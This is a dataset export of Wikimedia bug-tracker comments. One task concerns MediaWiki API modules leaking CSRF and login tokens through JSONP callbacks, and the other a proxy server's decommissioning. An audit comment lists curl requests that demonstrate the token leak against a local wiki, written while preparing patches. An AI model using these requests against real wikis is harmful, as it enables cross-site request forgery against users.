Roan, can you take a look at the patches, and verify they look sane to you, or if there is anything we're missing by doing it this way?",,,1370366475,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.0,1.0,0.0,0.5,0.0,3.5,1.5,0.0,0.0,1.0,1.0,2.5,0.0,0.0,1.0,1.5,0.0,2.5,10.5,1.0,1.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.5,0.0,3.0,1.0,1.5,1.5,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.5,5.0,2.0,3.5,7.5,0.0,0.0,0.5,0.0,4.0,0.0,0.0,0.0,7.0,10.5,2.0,1.0,2.0,0.0,7.0,0.0,0.5,1.5,0.0,2.0,0.0,0.0,0.0,3.8292372881355936,0.7898305084745763,"Thanks Brad! I've tested the patch against master, and it seems to be working well and prevents the leak. As mentioned on irc, the action=tokens api returns the error ""Unrecognized value for parameter 'type'"" when the callback is added, instead of an explicit message about the callback parameter. But since this is the same way ApiQueryInfo currently works, it seems like api users should be able to figure it out.

Roan, can you take a look at the patches, and verify they look sane to you, or if there is anything we're missing by doing it this way?"
233377,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12459
Patch against REL1_19

**Attached**: {F11092}",,,1370365337,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.8235294117647058,"Created attachment 12459
Patch against REL1_19

**Attached**: {F11092}"
233371,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12458
Patch against REL1_20

**Attached**: {F11091}",,,1370365317,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.8235294117647058,"Created attachment 12458
Patch against REL1_20

**Attached**: {F11091}"
233365,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12457
Patch against REL1_21

**Attached**: {F11090}",,,1370365296,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.8235294117647058,"Created attachment 12457
Patch against REL1_21

**Attached**: {F11090}"
233362,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12456
Patch against master

**Attached**: {F11088}",,,1370365264,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.764705882352941,0.8235294117647058,"Created attachment 12456
Patch against master

**Attached**: {F11088}"
233359,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12453
Patch against REL1_19

//attachment patch-1.19.diff ignored as obsolete//",,,1370360283,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.923076923076923,1.0,"Created attachment 12453
Patch against REL1_19

//attachment patch-1.19.diff ignored as obsolete//"
233355,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12452
Patch against REL1_20

//attachment patch-1.20.diff ignored as obsolete//",,,1370360267,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.923076923076923,1.0,"Created attachment 12452
Patch against REL1_20

//attachment patch-1.20.diff ignored as obsolete//"
233348,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12451
Patch against REL1_21

//attachment patch-1.21.diff ignored as obsolete//",,,1370360253,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.923076923076923,1.0,"Created attachment 12451
Patch against REL1_21

//attachment patch-1.21.diff ignored as obsolete//"
233343,Login API doesn't prevent getting csrf tokens via jsonp,"Created attachment 12450
Patch against master

//attachment patch-1.22.diff ignored as obsolete//",,,1370360223,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.846153846153846,1.0,"Created attachment 12450
Patch against master

//attachment patch-1.22.diff ignored as obsolete//"
233339,Login API doesn't prevent getting csrf tokens via jsonp,"(In reply to comment #2)
> I'm planning to look at this tomorrow morning. Current thoughts are that the
> block and unblock 'gettoken' parameters have been deprecated since 1.20, so
> they are ripe for removal. The others will get a check similar to that
> currently used for prop=info.

If we want to fix 38417 for REL1_19/REL1_20, then we'll probably need a patch that either checks for the callback param, or moves the gettoken handling after the permission checks. Either way is a pretty simple patch. But yes, we should remove the code altogether for 1.22 I think.",,,1370314989,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,8.0,1.0,15.0,1.0,4.0,9.0,0.0,0.0,0.0,1.0,5.0,1.0,4.0,0.0,5.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.72,0.72,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

If we want to fix 38417 for REL1_19/REL1_20, then we'll probably need a patch that either checks for the callback param, or moves the gettoken handling after the permission checks. Either way is a pretty simple patch. But yes, we should remove the code altogether for 1.22 I think."
233336,Login API doesn't prevent getting csrf tokens via jsonp,"I'm planning to look at this tomorrow morning. Current thoughts are that the block and unblock 'gettoken' parameters have been deprecated since 1.20, so they are ripe for removal. The others will get a check similar to that currently used for prop=info.

I also grepped through the WMF-deployed extensions. They all seem to use the generic edit token from action=tokens or prop=info, or use the hook to add to action=tokens, so that part of it looks ok.

I also note that ApiQueryDeletedrevs could give a token, but since anons don't typically have 'deletedhistory' it's not likely to actually be gettable via jsonp.",,,1370312827,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.5,0.0,0.0,0.5,1.5,6.5,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,2.5,0.0,2.0,0.0,0.5,0.5,0.0,0.0,1.0,0.5,0.0,5.5,1.5,1.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,2.0,0.0,1.5,0.0,0.0,1.0,14.5,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,4.5,2.5,4.5,4.0,3.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,4.5,12.0,1.5,0.0,2.5,0.0,4.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,3.945221445221445,0.7935897435897437,"I'm planning to look at this tomorrow morning. Current thoughts are that the block and unblock 'gettoken' parameters have been deprecated since 1.20, so they are ripe for removal. The others will get a check similar to that currently used for prop=info.

I also grepped through the WMF-deployed extensions. They all seem to use the generic edit token from action=tokens or prop=info, or use the hook to add to action=tokens, so that part of it looks ok.

I also note that ApiQueryDeletedrevs could give a token, but since anons don't typically have 'deletedhistory' it's not likely to actually be gettable via jsonp."
233331,Login API doesn't prevent getting csrf tokens via jsonp,"I audited the api modules in core, and a few others will give back login or anonymous edit tokens too. These need to be fixed before we can effectively fix bug 38417.


* ApiTokens
** curl -i 'http://localhost/wiki/api.php?action=tokens&type=edit&format=json&callback=foo'

* ApiUnblock
** curl -i --data 'action=unblock&user=User1&gettoken=true&format=json&callback=bar' 'http://localhost/wiki/api.php'

* ApiLogin.php
** curl -i --data 'action=login&format=json&lgname=foo&callback=bar' 'http://localhost/wiki/api.php'

* ApiCreateAccount.php
** curl -i --data 'action=createaccount&format=json&name=foo&callback=bar' 'http://localhost/wiki/api.php'

* ApiBlock.php
** curl -i --data 'action=block&user=User1&gettoken=true&format=json&callback=bar' 'http://localhost/wiki/api.php'",,,1370311281,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0.5,0.0,0.0,0.5,0.0,4.5,0.0,0.0,0.0,0.0,0.5,8.5,0.0,0.0,0.0,1.0,0.0,1.5,2.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,23.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,8.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,1.5,5.5,0.5,0.0,1.0,2.5,6.0,0.0,8.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,3.935635123614663,0.545929241261722,"I audited the api modules in core, and a few others will give back login or anonymous edit tokens too. These need to be fixed before we can effectively fix bug 38417.


* ApiTokens
** curl -i 'URL

* ApiUnblock
** curl -i --data 'action=unblock&user=User1&gettoken=true&format=json&callback=bar' 'URL

* ApiLogin.php
** curl -i --data 'action=login&format=json&lgname=foo&callback=bar' 'URL

* ApiCreateAccount.php
** curl -i --data 'action=createaccount&format=json&name=foo&callback=bar' 'URL

* ApiBlock.php
** curl -i --data 'action=block&user=User1&gettoken=true&format=json&callback=bar' 'URL"
83211,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%gurvin 1H IN A 208.80.152.20%%%
%%%gurvin is a Wikimedia ISSLPv6 Proxy (ipv6proxy).%%%
%%%gurvin is a Wikimedia SSL Proxy (sslproxy).%%%
%%%Linux gurvin 2.6.32-47-server #109-Ubuntu SMP Tue May 7 02:17:05 UTC 2013%%%
%%%x86_64 GNU/Linux%%%
%%%Ubuntu 10.04.4 LTS%%%
%%%this is Tampa, needs to go%%%


**Referred To By:**
{T83156}
{T83191}
{T84665}",Medium,50.0,1383172806,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-upbofy2q7ravb6knoab6,task_description,resolved,True,c2,3,True,False,False,9,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,22.0,7.0,0.0,0.0,4.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,3.13,0.54,"%%%gurvin 1H IN A 208.80.152.20%%%
%%%gurvin is a Wikimedia ISSLPv6 Proxy (ipv6proxy).%%%
%%%gurvin is a Wikimedia SSL Proxy (sslproxy).%%%
%%%Linux gurvin 2.6.32-47-server #109-Ubuntu SMP Tue May 7 02:17:05 UTC 2013%%%
%%%x86_64 GNU/Linux%%%
%%%Ubuntu 10.04.4 LTS%%%
%%%this is Tampa, needs to go%%%


**Referred To By:**
{T83156}
{T83191}
{T84665}"
378208,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #8774 added by dzahn,,,1414606791,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,61,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Reference by ticket #8774 added by dzahn
378200,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'open' to 'resolved' by dzahn//,,,1384553061,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.75,//Status changed from 'open' to 'resolved' by dzahn//
378190,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%On Fri Nov 15 08:24:46 2013, ariel wrote:%%%
> It was left with salt key, storedconfigs and puppet cert. I removed those.
%%%thanks Ariel, i meant to say exactly that on IRC but you already did.%%%",,,1384553047,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,18.0,9.0,0.0,6.0,9.0,21.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.303030303030303,0.7878787878787878,"%%%On Fri Nov 15 08:24:46 2013, ariel wrote:%%%
QUOTE
%%%thanks Ariel, i meant to say exactly that on IRC but you already did.%%%"
378182,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'resolved' to 'open' by RT_System//,,,1384503887,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.75,//Status changed from 'resolved' to 'open' by RT_System//
378174,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%It was left with salt key, storedconfigs and puppet cert. I removed those.%%%",,,1384503886,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,False,,,11,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.8888888888888888,"%%%It was left with salt key, storedconfigs and puppet cert. I removed those.%%%"
378165,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'open' to 'resolved' by dzahn//,,,1384477111,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.75,//Status changed from 'open' to 'resolved' by dzahn//
378156,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%host is powered down and removed from repos. next steps are wiping etc in%%%
%%%linked child ticket in pmtpa queue. resolving this.%%%",,,1384477111,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.774193548387097,0.8064516129032258,"%%%host is powered down and removed from repos. next steps are wiping etc in%%%
%%%linked child ticket in pmtpa queue. resolving this.%%%"
378146,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Member ticket #6311 added by dzahn//,,,1384477053,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,//Member ticket #6311 added by dzahn//
378131,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%16:33 < mutante> !log schedule 1yr downtime for unused host 'gurvin' and all%%%
%%%its services (RT #6135) and shutting it down%%%
%%%scheduled downtime for it in Icinga, so no notifications, then powered it%%%
%%%down..and removed from puppet:%%%
%%%https://gerrit.wikimedia.org/r/#/c/94449/%%%
%%%then DNS ,, merged by Chris:%%%
%%%https://gerrit.wikimedia.org/r/#/c/94448/%%%",,,1384476186,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,21.0,2.0,0.0,4.0,7.0,6.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,3.107142857142857,0.5714285714285714,"%%%16:33 < mutante> !log schedule 1yr downtime for unused host 'gurvin' and all%%%
%%%its services (RT #6135) and shutting it down%%%
%%%scheduled downtime for it in Icinga, so no notifications, then powered it%%%
%%%down..and removed from puppet:%%%
%%%URL
%%%then DNS ,, merged by Chris:%%%
%%%URL"
378120,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%On Fri Nov 01 09:47:06 2013, faidon wrote:%%%
> I think this is some leftover test box that was never given
> back/reclaimed :( Certainly not used anymore, please apply the
> lifecycle decom process.
%%%Chris, can you see if gurvin and yvon have been a couple (installed together)?%%%
%%%I think if gurvin can go yvon can go as well (linked ticket) since per site.pp%%%
